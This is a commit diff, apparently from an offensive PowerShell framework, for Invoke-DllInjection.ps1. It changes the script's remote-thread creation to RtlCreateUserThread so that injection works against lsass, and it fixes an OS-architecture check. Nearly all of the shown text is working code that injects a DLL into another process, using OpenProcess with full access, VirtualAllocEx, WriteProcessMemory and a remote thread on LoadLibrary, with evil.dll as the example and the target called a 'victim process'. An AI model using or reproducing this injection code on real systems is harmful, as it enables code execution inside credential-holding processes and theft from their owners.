Skip to content

Commit dc3cab2

Browse files
author
mattifestation
committed
Invoke-DllInjection now calls RtlCreateUserThread
Calling CreateRemoteThread on lsass. Bug fix: Invoke-DllInjection was checking the processor architecture when it should have been validating the OS architecture. This would cause Invoke-DllInjection to fail on a 32-bit OS with a 64-bit processor.
1 parent 29a5d48 commit dc3cab2

File tree

1 file changed

+26
-24
lines changed

1 file changed

+26
-24
lines changed

CodeExecution/Invoke-DllInjection.ps1

Lines changed: 26 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ Name of the dll to inject. This can be an absolute or relative path.
2525
2626
.EXAMPLE
2727
28-
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
28+
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
2929
3030
Description
3131
-----------
@@ -207,16 +207,13 @@ http://www.exploit-monday.com
207207
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
208208
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
209209
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
210-
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
211-
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
212-
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
210+
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
211+
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
212+
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
213213
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
214214
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
215215
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
216216

217-
# Assume CPU to be 64-bit unless determined otherwise.
218-
$64bitCPU = $True
219-
220217
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
221218
if ([IntPtr]::Size -eq 4)
222219
{
@@ -227,6 +224,14 @@ http://www.exploit-monday.com
227224
$PowerShell32bit = $False
228225
}
229226

227+
$OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
228+
229+
switch ($OSArchitecture)
230+
{
231+
'32-bit' { $64bitOS = $False }
232+
'64-bit' { $64bitOS = $True }
233+
}
234+
230235
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
231236
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
232237

@@ -235,23 +240,20 @@ http://www.exploit-monday.com
235240
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
236241
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
237242
}
238-
else
239-
{
240-
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
241-
$64bitCPU = $False
242-
}
243+
244+
$Architecture = Get-PEArchitecture $Dll
245+
246+
Write-Verbose "Architecture of the dll to be injected: $Architecture"
243247

244248
# Open a handle to the process you want to inject into
245249
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
246250

247251
if (!$hProcess)
248252
{
249-
THrow 'Unable to open process handle.'
253+
Throw 'Unable to open process handle.'
250254
}
251255

252-
$Architecture = Get-PEArchitecture $Dll
253-
254-
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
256+
if ($64bitOS) # Only perform theses checks if OS is 64-bit
255257
{
256258
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
257259
{
@@ -293,7 +295,7 @@ http://www.exploit-monday.com
293295
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
294296
if ($RemoteMemAddr -eq [IntPtr]::Zero)
295297
{
296-
Throw 'Unable to allocate memory in remote process.'
298+
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
297299
}
298300
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
299301

@@ -302,27 +304,27 @@ http://www.exploit-monday.com
302304
Write-Verbose "Dll path written sucessfully."
303305

304306
# Execute dll as a remote thread
305-
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
306-
if (!$ThreadHandle)
307+
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
308+
if ($Result)
307309
{
308-
Throw 'Unable to launch remote thread.'
310+
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
309311
}
310312

311313
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
312314

313315
# Close process handle
314316
$CloseHandle.Invoke($hProcess) | Out-Null
315317

316-
Write-Verbose 'Dll injection complete!'
317-
318318
# Extract just the filename from the provided path to the dll.
319319
$FileName = Split-Path $Dll -Leaf
320-
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
320+
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }
321321

322322
if (!$DllInfo)
323323
{
324324
Throw "Dll did dot inject properly into the victim process."
325325
}
326326

327-
Write-Verbose "Injected DLL information:$($DllInfo)"
327+
Write-Verbose 'Dll injection complete!'
328+
329+
$DllInfo
328330
}

0 commit comments

Comments
 (0)